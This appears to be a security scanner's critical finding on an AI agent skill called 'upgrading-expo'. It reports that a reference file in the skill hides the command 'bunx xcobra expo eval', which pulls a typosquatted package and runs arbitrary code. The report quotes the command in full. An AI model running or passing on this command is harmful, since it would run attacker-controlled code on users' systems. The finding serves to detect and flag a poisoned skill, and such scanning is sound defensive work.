upgrading-expo

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (critical risk: 1.00). The instruction contains a subtle malicious command bunx xcobra expo eval "_IS_FABRIC" in references/new-architecture.md, which uses a typosquatting/malicious package (xcobra) to execute arbitrary code.